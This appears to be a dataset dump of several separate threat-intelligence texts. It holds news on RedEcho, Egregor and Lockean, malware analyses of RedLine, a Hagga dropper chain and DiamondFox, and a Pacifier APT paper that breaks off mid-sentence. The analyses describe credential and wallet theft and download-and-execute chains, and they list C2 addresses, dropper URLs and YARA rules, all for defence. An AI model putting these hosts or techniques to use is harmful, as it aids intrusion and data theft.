text
stringlengths
8
115k
# RedEcho Group Parks Domains After Public Exposure A Chinese hacking group linked to a campaign that targeted India’s power grid and critical infrastructure entities has taken down its attack infrastructure after having its operations exposed at the end of February 2021. Known as RedEcho, the group is one of many Chinese government-sponsored cyber-espionage entities active today. The earliest signs of RedEcho attacks date back to early 2020, but operations gained significant momentum after a May 2020 border dispute between Indian and Chinese troops that devolved into violence and heightened political tensions between the two neighboring countries. Subsequent RedEcho attacks shifted to target India’s power sector primarily, and the group is believed to have breached at least a dozen Indian power sector organizations, including four of India’s five Regional Load Despatch Centres (RLDCs) and two State Load Despatch Centres (SLDCs), where it deployed backdoor malware such as PlugX and ShadowPad, allowing the group easy access at any further date. These attacks came to light in February 2021, when Recorded Future’s Insikt Group published a report detailing RedEcho’s Indian operations after analysts managed to find unique characteristics in the communications between the malware and its backend infrastructure, allowing them to track attacks by using a combination of proactive infrastructure detections, domain, and network traffic analysis. Last activity spotted on March 11, 2021. But less than two weeks after Recorded Future published its findings, the Insikt Group told The Record that RedEcho has now taken down part of its domain infrastructure. More specifically, RedEcho has now parked web domains it previously used to control ShadowPad malware inside the hacked Indian power grid, which Recorded Future ousted in its report. “The most recently identified victim communications with RedEcho infrastructure was from an Indian IP address on March 11, 2021 to the RedEcho IP 210.92.18[.]132,” the Insikt Group said. But this was to be expected. Advanced persistent threat (APT) groups like RedEcho often react to public disclosure by moving infrastructure to new servers. “This is likely due to a combination of defensive measures taken by targeted organizations to block published network indicators and the aforementioned steps taken by the group to move away from publicized infrastructure,” an Insikt Group analyst said. Furthermore, cyber-espionage operations are most efficient when undetected. Once operations get exposed, security firms will often work in the shadows to notify victims and intelligence services in the targeted countries, and even poison the attacker’s collected data. **Tags** APT China domain India Insikt Group nation-state parked domain Recorded Future RedEcho Catalin Cimpanu is a cybersecurity reporter for The Record. He previously worked at ZDNet and Bleeping Computer, where he became a well-known name in the industry for his constant scoops on new vulnerabilities, cyberattacks, and law enforcement actions against hackers.
# Full RedLine Malware Analysis **Muhammad Hasan Ali** **Malware Analysis learner** **April 21, 2022** **5 minute read** ## Introduction Redline Stealer has been delivered through various channels. It is mostly distributed through phishing emails or malicious software disguised as installation files such as Telegram, Discord, and cracked software. Recently, phishing links that download Chrome extensions containing Redline Stealer by abusing YouTube video descriptions and Google Ads have been utilized, along with Python scripts that run Redline Stealer through FTP. I tried to analyze three samples, but this is more difficult, particularly the sample `d81d3c919ed3b1aaa2dc8d5fbe9cf382`, which has obfuscated classes and arguments. Eventually, the three samples are the same but have different keys. Download the article sample from vx-underground or MalwareBazaar. ## Unpacking Our sample comes packed by IntelliLock v.1.5.x packer. We will use upacme to unpack the sample `e90f6d0a7b7d0f23d0b105003fce91959c2083c23394b5cf43101c84ae8be4d2`. ### Configuration Extraction RedLine encodes its C2 server and the unique ID using a hard-coded key and uses the key to decrypt the C2 server and the ID. We enter the `EntryPoint` class to see the encoded configuration. In this sample, the decryption function is `Decrypt()`. It will decrypt the C2 server and the unique ID using the key `Pythonic`. The decoding operation is FromBase64, then XOR, then FromBase64 using CyberChef. The C2 server address is `46.8.19.196:53773` and the ID is `ytmaloy8`. ### C2 Server Communication After decoding, the malware will send a request using `RequestConnection()` to `net.tcp://" + C2 address + "/"`. If there is a connection, the malware will try to get the settings `ScanningArgs`, which is a structure that stores configuration data and shows what the malware capabilities are. The arguments have flags that will decide which information will be collected, such as hardware info, browser credentials, FTP credentials, etc. ### Collecting Information The RedLine malware collects a lot of information about the infected host and stores it into `ScanResult`, which includes the environment settings about the infected host such as hardware info, ID, etc., and `ScanDetails`, which stores the credential details information. Then we enter the `ResultFactory` class to explore its actions and see what info will be stolen. There are actions that are easy to figure out, such as generating a unique MD5 hash, getting the executed file path, getting language, time zone, resolution info, OS version, etc., and installed software by checking `Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall`. It also collects running processes info such as `processID`, `Name`, and `commandLine`. ### Installed Browsers RedLine malware collects information about installed browsers such as `NameOfBrowser`, `Version`, and `PathOfFile` from the `BrowserVersion` class. It searches for Chrome-based browsers such as `Chromium`, `Chrome`, and `Opera`, and collects `BrowserName`, `BrowserProfile`, `Logins`, `Autofills`, and `Cookies` in the `ScannedBrowser()` class. Then it searches for Gecko-based browsers such as `Firefox` and `Waterfox`, collecting `BrowserName`, `BrowserProfile`, `Logins`, `Autofills`, and `Cookies` in the `ScannedBrowser()` class. ### Message Clients The malware gets info about message clients such as Telegram and uses `DesktopMessangerRule()` to get the path of the `tdata` folder, which is used to store data of the Telegram application. ### FTP Credentials The malware tries to collect FTP (Transfer Protocol client) credentials by searching in paths such as `{0}\\FileZilla\\recentservers.xml` and `{0}\\FileZilla\\sitemanager.xml`. It then uses the `ScanCredentials()` class to extract the account credentials such as `Host`, `Port`, `User`, and `Password` from the XML file. ### Crypto Wallets A crypto wallet is a program or service that stores the public and/or private keys for cryptocurrency transactions. The malware tries to search for wallet extensions in `BrowserExtensionsRule()` such as `YoroiWallet`, `Coinbase`, `BinanceChain`, `BraveWallet`, `iWallet`, and `AtomicWallet`. ### VPN Credentials The malware tries to collect `NordVPN`, `OpenVPN`, and `ProtonVPN` credentials. For OpenVPN, the `OpenVPNRule()` class searches for an XML file that contains the credentials. Similarly, the `ProtonVPNRule()` class searches for ProtonVPN credentials. ### Checks if Blocked List Here, the malware gets the `location`, `IP`, and `country` and checks if it is located in the blacklist. If yes, the malware does nothing and exits. ### Remote Execution The malware can use the command line `CommandLineUpdate()` to download some extra payloads or malicious files after collecting the information about the infected host using `DownloadUpdate()` and executes it using `DownloadAndExecuteUpdate()`, starting the process which is used as a dropper. ## IoC | No. | Description | Hash and URLs | |-----|-------------------------------|-------------------------------------| | 1 | The packed file (MD5) | 0adb0e2ac8aa969fb088ee95c4a91536 | | 2 | The unpacked file (MD5) | 0C79BEE7D1787639A4772D6638159A35 | | 3 | C2 server | 46.8.19.196:53773 | ## Yara Rule ```yara rule redline_stealer { meta: description = "Detecting unpacked RedLine" author = "Muhammad Hasan Ali @muha2xmad" strings: $mz = {4D 5A} // PE File $s1 = "Pythonic" $s2 = "IRemoteEndpoint" $s3 = "ITaskProcessor" $s4 = "IEnumerable" $s5 = "ScannedFile" $s6 = "ScanningArgs" $s7 = "ScanResult" $s8 = "ScanDetails" $s9 = "AllWalletsRule" $s10 = "TryCompleteTask" $s11 = "TryGetTasks" $s12 = "TryInitBrowsers" $s13 = "InstalledBrowsers" $s14 = "TryInitInstalledBrowsers" $s15 = "TryInitInstalledSoftwares" $s16 = "TryGetConnection" $s17 = "CommandLineUpdate" $s18 = "DownloadFile" $s19 = "DownloadAndExecuteUpdate" $s20 = "OpenUpdate" condition: ($mz at 0) and (10 of ($s*)) } ``` **Article quote** "ﻚﯿﻠﻋ ﷲا ﺢﺘﻔﯾ ﻢﺛ كﺪﻬﺟ لﺬﺒﺗ ﺖﻧأ ،هﺪﻬﺠﺑ ﻞﺼﯾ ﻻ ءﺮﻤﻟا" **REF** RedLine Infostealer from Cyber-Anubis Deep Analysis of Redline Stealer from S2W
# Is Hagga Threat Actor (ab)using FSociety framework? **November 21, 2022** ## Introduction Today I’d like to share a quick analysis initiated during a threat hunting process. The first observable was found during the hunting process over OSINT sources; the entire infrastructure was still up and running during the analyses, as well as malicious payloads were downloadable. ## Analysis My first observable was a zipped text file compressing a simple `update.js` script. The script was created to avoid automatic analysis tools since the dimension (>9MB) really makes it hard to beautify or remove unwanted/funny or added trash code, which happens to be everywhere. - **Name:** update.js - **SHA256:** 9ea4eebd9cf2a5d4e6343cb559d8c996fae6bf0f3bd7ffada0567053c08acc31 - **Type:** Drop and Execute ### Stage 1 The following images show how it looked like at first sight. As many of you are aware, analyzing scripts is just a matter of time or, if you have enough memory on your machine (or time to spend over that task), a computational matter during virtualization. If you are old style (I do like it a lot), it is a matter of “keywords,” in other words, adding some `console.println` or whatsoever you like to make debugging quick and easy. Few strings in this `update.js` reminded me of the use of obfuscator.io tool, but I did not investigate further in this direction; it was quite easy as well to reach the point. Finally, its execution was reached. I obtained this status by using some classic and romantic hand working balance to dynamic execution with the always great JSDetox. Finally, the real behavior came out. It looks like to be a drop and execute artifact. It takes a file called `Dll.ppam` from an IP address (please take a look at the IoC section to see details on found IoC), it decodes it from base64, and it invoked the method `VAI` (really interesting Italian word to say “GO,” nice coincidence!?) in the `Fiber.Home` class. It then passes to such a function an interesting address: `https://firebasestorage.googleapis.com` with some parameters as the following image shows (please reverse the byte order on the right string). ### Stage 1 Drop and Execute Let's take a closer look at what `Dll.ppam` is. First, it’s a .NET Portable Executable, so we might have an easy path ahead. - **Name:** Dll.ppam - **SHA256:** ab5b1989ddf6113fcb50d06234dbef65d871e41ce8d76d5fb5cc72055c1b28ba - **Type:** Drop, evasion and Memory Invoke The .NET is not packed, and the code reading is quite “straightforward.” An interesting technique that I’d like to highlight (and to track) is in the way the malware developer used to step forward the malware control flow, which reminds me of a known threat actor. Many different techniques could be used at this point if you want to make something happen after specific conditions or if you simply want to give an execution order. The easiest and (maybe) quickest way to follow could be the adoption of nested functions or, if you are a more sophisticated malware developer, you might decide to use exception handlers or, again, you might decide to switch from function to function in different libraries, or for the sake of example, a simple single flow as a simple unique function. But this malware developer decided to use a quite characteristic way developing an interesting combination of `switch/case`. In other words, it starts by assigning `0` to `num` variable which makes `case 0` to switch. In each case, it updates the `num` variable to control the `switch(num)` selector, making the flow run in the desired way. The following image shows the `VAI` function, where you might appreciate the control flow and additional IoC (such as IP address, dropped URL, and artifact name, etc.). ### Principal routine on Dll.ppam The `VAI` routing starts by downloading a file called `Rump.xls` from a remote server. It places the file content into a variable and reverses its byte order; later, it replaces special characters with the letter `A`. The resulting decoded file (bytes inverted, special characters replaced, and base64 decoded) is another PE file written in .NET technology and encoded in base64. Finally, once the `Rump.xls` file is decoded in memory, `Dll.ppam` runs it by calling the method `Adre` inside the `Fsociety.Tools` library, passing as argument `RegAsm.exe`. ### Memory invoke of Rump.xls (later fsociety tools) The following table sums up the original and dropped file by `Dll.ppam` named `Rump.xls`, while the next table shows details about the .NET PE file resulting from the decoding process. - **Name:** Rump.xls (Original) - **SHA256:** 20a53f17071f377d50ad9de30fdddd320d54d00b597bf96565a2b41c15649f76 - **Type:** Post exploitation tool, C2 communication - **Name:** Rump.xls.inverted.charsReplaced.decoded (given name) - **SHA256:** 5d910ee5697116faa3f4efe230a9d06f6e3f80a7ad2cf8e122546b10e34a0088 - **Type:** Post exploitation tool, C2 communication decoded `Rump.xls` looks like to be an implementation of Fsociety tools, a complete post exploitation framework. This library is able to get system information `RtlGetVersion`, `RtlGetNtProductType`, `GetSystemTimeAsFileTime`, and to get the used software policies: `"regsvr32.exe"` (Path: `"HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"`). It also contains the ability to get persistence by `"regsvr32.exe"` touched file `"%WINDIR%\AppPatch\sysmain.sdb"` and it might get remote access by using the `WmiPrvSE` module. The image above shows an interesting detail about the called function `Ande`, where you might appreciate a similar coding style compared to the `Dll.ppam`, even if the control flow this time is managed by simple nested if. The infinite loop and the variable names are matching the previous code. However, those similarities are way too weak to say anything about the authorship (IMHO), but still indicators to keep tracking. ## Threat Intelligence According to Microsoft Threat Intelligence, the drop server (`4.204.233.44`) has been seen with two certificates (please refer to IoC sections for SHA1). The first certificate (SN: `136234453590953102797263558291395548452`) has been issued on 2022-11-14 with common name `servidor` (server as in Spanish). On 2022-11-14, the attacker changed the webserver certificate by adding the certificate having as SN: `13098529066745705731` issued on 2009-11-11 and having with common name `localhost`. This certificate has been recorded in almost 50k related IPs over the past 13 years. One of the 50k IPs where the same certificate was found was the same that TeamCymru was able to track, thanks to previously posted IoC from Yoroi Threat Intelligence, back to Hagga Threat Actor. According to Microsoft researchers: > Team Cymru researchers describe how they were able to pivot in threat telemetry, using IOCs from Yoroi Security’s blog as seeds, to identify several other C2s. From the starting point of an IP address (69.174.99.181) associated with an Agent Tesla command and control server, it was possible to pivot and identify a backend server hosting a MySQL database operated by the threat actor Hagga. From this point, a further pivot led Team Cymru researchers to the identification of additional C2s hosting the Mana Tools C2 panel along with a common certificate that can be used to increase confidence in attributing future infrastructure to this threat actor. ## Conclusions In this blog post, I shared a personal analysis on an interesting artifact found during threat hunting research. Since the very beginning of the analysis, I had some feelings about the designed patterns used on .NET libraries, and the modus operandi looked familiar to me. What surprised me a lot was to see indicators of FSociety framework embedded in this malware stack, but finally, a matching certificate used in the infrastructure pointed my attention to TeamCymru analysis on Hagga Threat Actor. If a matching certificate and code style (not discussed here, but you might try by yourself to check) are enough for you, I would bet on Hagga threat actor with a newly used post exploitation framework Fsociety.tools. ## IoC - **URL** Dropper: `http://4.204.233.44/Dll/Dll.ppam` Dropper: `http://4.204.233.44/Rump/Rump.xls` Command And Control: `103.151.123.121` port: `8895` - **HASH (SHA256)** `9ea4eebd9cf2a5d4e6343cb559d8c996fae6bf0f3bd7ffada0567053c08acc31` `ab5b1989ddf6113fcb50d06234dbef65d871e41ce8d76d5fb5cc72055c1b28ba` `20a53f17071f377d50ad9de30fdddd320d54d00b597bf96565a2b41c15649f76` (original) `5d910ee5697116faa3f4efe230a9d06f6e3f80a7ad2cf8e122546b10e34a0088` (decoded) - **CERT (SHA1)** `970f993ad1a289620b5f5033ff5e0b5c4491bb2b` (drop webserver Certificate 1) `b0238c547a905bfa119c4e8baccaeacf36491ff6` (drop webserver Certificate 2)
# Largest Global Staffing Agency Randstad Hit by Egregor Ransomware Staffing agency Randstad NV announced today that their network was breached by the Egregor ransomware, which stole unencrypted files during the attack. Randstad is the world's largest staffing agency with offices in 38 markets and the owner of the well-known employment website Monster.com. Randstad employs over 38,000 people and generated €23.7 billion in revenue for 2019. This week, the Egregor ransomware operation published what they claim is 1% of Randstad's data stolen during a recent cyberattack. This leaked data is a 32.7MB archive containing 184 files, including accounting spreadsheets, financial reports, legal documents, and other miscellaneous business documents. After the threat actors published their data, Randstad issued a security notification confirming that the Egregor ransomware operation attacked them. Randstad states that only a limited number of servers were impacted and that their network and business operations continued to operate without disruption. The company confirmed that data was stolen but is still investigating whether the personal data of clients or employees was accessed. At this time, they believe that only data related to their operations in the US, Poland, Italy, and France was stolen. "To date, our investigation has revealed that the Egregor group obtained unauthorized and unlawful access to our global IT environment and to certain data, in particular related to our operations in the US, Poland, Italy, and France," Randstad disclosed. "They have now published what is claimed to be a subset of that data. The investigation is ongoing to identify what data has been accessed, including personal data, so that we can take appropriate action with regard to identifying and notifying relevant parties." The Egregor ransomware operation has been extremely active over the past week, with successful attacks against Metro Vancouver's transit system TransLink and the big-box department store Kmart. Egregor is a new organized cybercrime ransomware-as-a-service operation that partners with affiliates to compromise networks and deploy their ransomware. As part of this arrangement, affiliates earn 70% of any ransom payments they bring in, and the Egregor operators make a 30% revenue share. The ransomware gang began operating in the middle of September 2020 after a prominent ransomware group known as Maze shut down their operation. Threat actors told BleepingComputer that many of the affiliates that worked with Maze switched to Egregor, which allowed the new operation to ramp up their attacks quickly. Other high-profile Egregor attacks include Cencosud, Crytek, Ubisoft, and Barnes and Noble.
# Identification of a new cybercriminal group: Lockean Based on incidents reported to the ANSSI and their commonalities, investigations were carried out by the Agency to confirm the existence of a single cyber criminal group responsible for these incidents, understand its modus operandi and distinguish its techniques, tactics and procedures (TTPs). First observed in June 2020, this group named Lockean is thought to have affiliated with several Ransomware-as-a-Service (RaaS) including DoppelPaymer, Maze, Prolock, Egregor and Sodinokibi. Lockean has a propensity to target French entities under a Big Game Hunting rationale. Indicators of compromise are available in structured formats on the page CERTFR-2021-IOC-004.
# DİAMONDFOX Technical Analysis Report ## Introduction x86_64setup.exe, a recently released, uninformed and blended example, shows the features of many malware families such as Redline, Smokeloader, Asyncrat, Vidar, which can also be seen in the image, although it is from the diamondfox family. It covers everything from keylogging and browser password stealing to various Distributed Denials. It has many functions such as adware, cookie stealing, UAC bypass (running with administrator rights), botnet creation. DiamondFox includes an embedded configuration section that contains the values used to determine the workflow. To store malware, decrypt keys, and perform other tasks, the keys in the configuration section are used throughout the entire malware execution process, and the functionality of the malware is determined by their value. The configuration partition is stored in a specific PE partition named L!NK. At the initial stage, this PE portion is copied into a newly allocated buffer consisting of key-values. ## Hashes It is packed with Sfx and the hashes of the exes in it are as follows. **x86_64setup.exe** MD5: 9e285901af26b01bafe9afb312620887 SHA256: b035ee9ead48cdfdfa1d7110cc84204df3571d6843aedc4c44edc73f59b013c0 SHA1: b86337160b7a3fcc8056ccc9bc7c71cdb45ddc21 **setup_installer.exe** MD5: bf796dca0c45920e180ac8b9298f8a01 **setup_install.exe** MD5: 8ed9fc32d350c4b26eb9064fd43cf06a SHA256: 1b8366b1c4efed339f281887b1e5443f8925ef895df02e6101ae240882828428 **Sonia_1.exe** MD5: 6e487aa1b2d2b9ef05073c11572925f2 SHA256: 77eec57eba8ad26c2fd97cc4240a13732f301c775e751ee72079f656296d9597 **Sonia_2.exe** MD5: 5463ae9cd89ba5a886073f03c1ec6b1e SHA256: 5d61ca2da46db876036960b7389c301519a38c59f72fa2b1dcbb1095f6a76c72 **Sonia_3.exe** MD5: a2d08ecb52301e2a0c90527443431e13 SHA256: e6c638f913e9137efc3b2b126d32dc7ea9bd03561df0213d1da137c4128636e9 **Sonia_4.exe** SHA1: dd78b03428b99368906fe62fc46aaaf1db07a8b9 SHA256: d417bd4de6a5227f5ea5cff3567e74fe2b2a25c0a80123b7b37b27db89adc384 **Sonia_5.exe** MD5: 8c4df9d37195987ede03bf8adb495686 SHA256: 5207c76c2e29a2f9951dc4697199a89fdd9516a324f4df7fa04184c3942cc185 **Sonia_6.exe** MD5: f00d26715ea4204e39ac326f5fe7d02f SHA256: 2eaa130a8eb6598a51f8a98ef4603773414771664082b93a7489432c663d9de3 **Sonia_7.exe** MD5: a73c42ca8cdc50ffefdd313e2ba4d423 SHA256: c7dcc52d680abbfa5fa776d2b9ffa1a8360247617d6bef553a29da8356590f0b **Sonia_8.exe** MD5: dd0b8a5769181fe9fd4c57098b9b62bd SHA256: ab36391daabc3ed858fcd9c98873673a1f69a6c9030fc38d42937bdeb46b2fc5 **Sonia_9.exe** MD5: 3e2c8ab8ed50cf8e9a4fe433965e8f60 SHA256: b67af6174c3599f9c825a6ea72b6102586b26600a3b81324ce71b9905c9c3ec6 **Sonia_10.exe** MD5: 881241cb894d3b6c528302edc4f41fa4 SHA256: 3e70e230daee66f33db3fdba03d3b7a9832088fe88b0b4435d719e185ae8a330 ## Preview The moment he runs the x86_64setup.exe file he downloaded to install Ligthening media player, he drops more than 100 exe's with the program he wants and installs many applications. When we open archives sequentially, we see that the exeler, folder and dlls appear in the following order. Setup_installer.exe is a setup file configured as 7z setup sfx, as we can see here, and this file contains the files that need to be run directly in it. When we open the archive, we see 5 dll 1 exe 10 txt files. Txt files have MZ extension and are converted to exe instantly at runtime. These files were written with Microsoft Visual Studio .NET, Microsoft Visual C++ 8 and Borland Delphi 4.0. In addition to these, there are also Aspack v2.12 and UPX packaged exes. After dropping the necessary processes and setup_installer.exe to temp, it runs it with the runas command. Runas is the command that makes the program run via cmd. Setup_installer.exe is sfx and sfx configuration file should be like below. ## Runtime Runs Sonia series with the help of cmd and along with the ones they drop, some run it under itself, some run it separately but all run with admin privileges. ## Language Check As seen in the picture, it receives information about the language of the computer. 1055 is the hexadecimal code of Turkish. ## Country Check Gets the country code. The setup_installer.exe, which is the sfx file, creates the 7zS84ecfcd2 file temporarily in temp and extracts itself to that folder. Runs the setup_install.exe file in the 7zS84ecfcd2 folder and makes the extension of the txts to exe and runs it with cmd and the processes begin. It also downloads utf-8. ## File Paths It Dropped - C:\Users\%username%\AppData\Local\Temp - C:\Users\%username%\AppData\Local\Temp\csrss - C:\Users\%username%\AppData\Local\Temp\csrss\wup - C:\Users\%username%\AppData\Local\Temp\csrss\injector - C:\Users\%username%\AppData\Local\Temp\2e08cba24e - C:\Users\%username%\AppData\Local\Temp\7zS84ecfcd2 - C:\Users\%username%\AppData\Roaming - C:\Users\%username%\Documents - C:\Windows\System32 - C:\Users\%username%\AppData\Local\Microsoft\Windows\Temporary Internet Files ## Dropped Files - Sonia_1.exe - osloader.exe - libcurl.dll - libgcc_s_dw2-1.dll - libwinpthread-1.dll - Sonia_2.exe - ntkrnlmp.exe - libcurlpp.dll - libstdc++-6.dll - setup_install.exe - Sonia_3.exe - Sonia_4.exe - Sonia_5.exe - Sonia_6.exe - setup_installer.exe - Sonia_7.exe - Sonia_8.exe - Sonia_9.exe - Sonia_10.exe - ee.exe - zz.exe - 2.exe - 2-42AT~1.EXE - download.error - ntkrnlmp.pdb - 1587087885.exe - 1763683596.exe - axhub.dll - CC4F.tmp - dbghelp.dll - symsrv.dll - api-ms-win-core-namedpipe-l1-1-0.dll - tmp26A9.tmp - owegj.exe - 6ido0sjUdET8jRftOSc3hmIV.exe - api-ms-win-core-string-l1-1-0.dll - 6Tnz3PeIVSgDBk5lIzA16244.exe - 8H6ZWCCbqKQZqr1ZDzSBxK6x.exe - 8TJ9VtKLB52kA6SeboPhDGTF.exe - aXl2zAftEqK3NhbWkMC9tlu9.exe - b7v49ezmfyjY8yPUl728VzS6.exe - DVRrv75N3d0cq9kr9v1nybhD.exe - jdw6amdvloiFhGwIbHrF9bId.exe - jXKnQe3TxYFteWy6j3yegXVO.exe - ksn2FwIHkR6rBdWC4wPt3JNr.exe - MWfsWcm042byzXi5l9sNEvpV.exe - pVewZJtyml5fXqzzLBi4BYUA.exe - QiLxAKnbZiFVrIaHVYrVaCor.exe - tXlH2r9moz62hZPcvIryh0o3.exe - vqd7AT7ae6Trme1GYn3mYmhh.exe - xvakguFf42t2cm80ddcmFdSW.exe - YDQgBKZPYWCdWgcUNzdp3XSu.exe - xmNWhWqAFpLCfekZ83BQg4bT.exe - _O6dRJaKSVIsmYSHDNe2HP2J.exe - 2M3NhGrvxSqWKxfUZaLIV6T3.exe - 3EaucCSGZDQ6kBhOhGL6GzIs.exe - 4YuMZqpIHmQunPxfoSr8reVN.exe - 5EZopq09PuytQxgh7s3mcjdM.exe - 7_6ykZv7EvdCcqo5NVamsE5Z.exe - 9kEtX2IGRqLKvOoj8lHVD5nN.exe - a0b6FbwlMTk4Pu1B7S6kg54S.exe - a2oOWdAaiKKhVMBVvYfzoevb.exe - b9m753ZLMwrPudU1Z8oLgpRu.exe - bk7ZfU2gLdOfP4WvGCutiJ9y.exe - patch.exe - narbux.exe - injector.exe - ww31.exe These are just some of the dropped files, downloading some files and deleting them directly. The 2-42at file is actually install.bat file and it redirects to iplogger page. ## Adware and Linked Sites - humisnee.com - ip-api.com - facebook.com - binance.com - 37.0.11.41/base/api/getData.php - ipinfo.io - browzar.com - addthis.com - cdn.discordapp.com - bet365.com - steamcomunity.com - gql.twitch.com - avito.ru - pastebin.com - i.instagram.com - oauth.vk.com - api.login.yahoo.com - spolaect.info - walmart.com - google.kz - google.com The getfp.exe in the csrss folder goes to humisnee.com. It connects to ip-api.com and gets various information. ## Compact Layer It uses compat_layer structure to run as administrator without asking for admin rights. ## curl_easy_setopt Regulates the behavior of libcurl.dll with curl_easy_setopt. It is used to tell libcurl how to behave. By setting the appropriate options, the application changes the behavior of libcurl. ## pthread_cond_broadcast The pthread_cond_broadcast() function is used to unblock all threads currently blocked by the specified state variable. ## Inno Setup The Inno Setup installer has two processes. The primary process is a latent process. Extracts and executes the actual sub-installer to a temporary folder (elevating to Administrator privileges if necessary). Command line: "C:\Users\zorro\AppData\Local\Temp\is-4GL93.tmp\sonia_5.tmp" /SL5="$5B0346,506127,422400,C:\Users\zorro\Desktop\210703-g9ppb8b36j_pw_infected\vürüs\setup_installer\sonia_5.exe" ## Cookie Steal 11111.exe directly accesses and steals chrome cookies. He also used fug3g.gg.exe for Edge. All files in C:\Users\%username%\AppData\Local\Temp\csrss run under csrss.exe. ## ee.exe / zz.exe Exes running in csrss as ee.exe and zz.exe are actually gminer v2.54. gminer provides display of detailed information (temperature, power consumption, heatsink load, memory frequency, processor frequency, energy efficiency) for each device. ## getdiskspace.exe Provides information about disk spaces. ## smbscanlocal10906.exe He scanned for possible vulnerabilities with smbscanlocal10906.exe that he dropped to csrss and could not find any vulnerabilities. ## Disable Error Reporting from Registry ## İOCs - 185.215.113.62:51929 - 162.159.133.233 - 172.67.191.67 - 104.21.76.97 - 136.144.41.201 - 185.20.227.194 - 185.183.96.53 - 52.219.156.38 - 116.202.183.50 - 74.114.154.18 - 159.65.63.164 - 172.67.171.54 - 148.92.218.88 - 172.67.201.250 - 144.202.76.47 - 212.86.115.78 - 34.117.59.81:443 - 34.98.75.36 - 172.67.199.231 - 62.233.121.32 - 2.56.59.245 - 143.204.98.78 - 103.155.92.96 - 111.90.146.149 - 176.111.254:56328 - 172.67.186.35 - 45.139.184.124 - 95.216.46.125 ## Scheduled Task It creates scheduled tasks and runs owegj.exe from time to time, as well as adds csrss.exe and many exes to scheduled tasks. ## Chrome Secretly Steals Information In The Background Chrome arka planda gizlice çalışırken bilgi almak için izin istemektedir. ## Java Here is the command info for base64 encoded java. "C:\Program Files\Java\jre1.8.0_281\bin\jp2launcher.exe" -secure -javaws -jre "C:\Program Files\Java\jre1.8.0_281" -vma LWNsYXNzcGF0aABDOlxQcm9ncmFtIEZpbGVzXEphdmFcanJlMS44LjBfMjgxXGxpYlxkZXBsb3kuamFyAC1EamF2YS5zZWN1cml0eS5wb2xpY3k9ZmlsZTpDOlxQcm9ncmFtIEZpbGVzXEphdmFcanJlMS44LjBfMjgxXGxpYlxzZWN1cml0eVxqYXZhd3MucG9s aWN5AC1EdHJ1c3RQcm94eT10cnVlAC1YdmVyaWZ5OnJlbW90ZQAtRGpubHB4LmhvbWU9QzpcUHJvZ3JhbSBGaWxlc1xKYXZhXGpyZTEuOC4wXzI4MVxiaW4ALURqYXZhLnNlY3VyaXR5Lm1hbmFnZXIALURzdW4uYXd0Lndhcm11cD10cnVlAC1YYm9vdGNsYXNzcGF0aC9hOkM6XFByb2dyYW0gRmlsZXNcSmF2YVxqcmUxLjguMF8yODFcbGliXGphdmF3cy5qYXI7QzpcUHJvZ3JhbSBGaWxlc1xKYXZhXGpyZTEuOC4wXzI4MVxsaWJcZGVwbG95LmphcjtDOlxQcm9ncmFtIEZpbGVzXEphdmFcanJlMS44LjBfMjgxXGxpYlxwbHVnaW4uamFyAC1EamRrLmRpc2FibGVMYXN0VXNhZ2VUcmFja2luZz10cnVlAC1Eam5scHguanZtPUM6XFByb2dyYW0gRmlsZXNcSmF2YVxqcmUxLjguMF8yODFcYmluXGphdmF3LmV4ZQAtRGpubHB4LnZtYXJncz1MVVJxWkdzdVpHbHpZV0pzWlV4aGMzUlZjMkZuWlZSeVlXTnJhVzVuUFhSeWRXVUE= -ma LVNTVkJhc2VsaW5lVXBkYXRlAC1ub3RXZWJKYXZh ## Solution proposals There should be at least 1 up-to-date and reliable antivirus software on the system. Care should be taken when reading e-mails from unknown addresses, if there is an attachment in the e-mail content, this attachment should be scanned for viruses before opening it. Spam emails should not be opened. If it is a company computer, the EDR system must be present on the computer. Harmful connections and IP addresses on the network should be filtered and access to these IP addresses should be blocked. The operating system should always be kept up to date. ## Yara Rules ```yara import "hash" rule md5_hash_diamondfox { meta: author = "ABDULSAMET AKINCI - ZAYOTEM" description = "diamondfox" first_date="03.07.2021" report_date="27.07.2021" file_name="x86_64setup.exe" strings: $b="bf796dca0c45920e180ac8b9298f8a01" $c="8ed9fc32d350c4b26eb9064fd43cf06a" $a="9e285901af26b01bafe9afb312620887" $d="6e487aa1b2d2b9ef05073c11572925f2" $e="5463ae9cd89ba5a886073f03c1ec6b1e" $f="a2d08ecb52301e2a0c90527443431e13" $g="dd78b03428b99368906fe62fc46aaaf1db07a8b9" $h="8c4df9d37195987ede03bf8adb495686" $j="f00d26715ea4204e39ac326f5fe7d02f" $k="a73c42ca8cdc50ffefdd313e2ba4d423" $l="dd0b8a5769181fe9fd4c57098b9b62bd" $m="3e2c8ab8ed50cf8e9a4fe433965e8f60" $n="881241cb894d3b6c528302edc4f41fa4" condition: $a or $b or $c or $d or $e or $f or $g or $h or $j or $k or $l or $m or $n } ``` ```yara import "hash" rule strings_diamondfox { meta: author = "ABDULSAMET AKINCI - ZAYOTEM" description = "diamondfox" first_date="03.07.2021" report_date="27.07.2021" file_name="x86_64setup.exe" strings: $b="sonia" $c="setup_installer" $a="setup_install.exe" $d="libcurlpp.dll" $e="libcurl.dll" $f="setopt" $g="compact_layer" $h="inno setup" $j="pthread_cond_broadcast" condition: $a or $b or $c or $d or $e or $f or $h or $j or $g } ``` ## ABDULSAMET AKINCI
# White Paper: Pacifier APT ## Overview Bitdefender detected and blocked an ongoing cyber-espionage campaign against Romanian institutions and other foreign targets. The attacks started in 2014, with the latest reported occurrences in May of 2016. The APT, dubbed Pacifier by Bitdefender researchers, makes use of malicious .doc documents and .zip files distributed via spear phishing e-mail. Documents used range from curriculum vitae to invitations to social functions or conferences, to second-hand car offers and even, in one case, a letter of instructions from a high-ranking official. Some were marked as “urgent,” “important,” “immediate action required,” and so on. Other samples of the same malicious software were detected in Iran, India, Philippines, Russia, Lithuania, Thailand, Vietnam, and Hungary. The high number of variants, in conjunction with the low number of reports and the nature of the affected machines, has brought us to the conclusion that we are dealing with an APT. The malicious payloads delivered evolved over time, becoming stealthier and adding functionality as time went by. Our analysis focuses on three representative variants of the malware used in the attacks, but a number of others, differing by minor details, were found in the wild. Aside from the analysis, this paper lists hashes of malicious files, as well as other IOCs. ## 2014-15 Executable Files ### The Infected Document The infection starts from one infected document. Analysis started from documents containing droppers. The dropper is encrypted and appended to the end of the document; the document contains a script that reads, decrypts, and runs the dropper. The last dword in the document file represents the size of the executable. The 5th byte from the end of the document is a checksum on the decrypted executable, used for validation. The 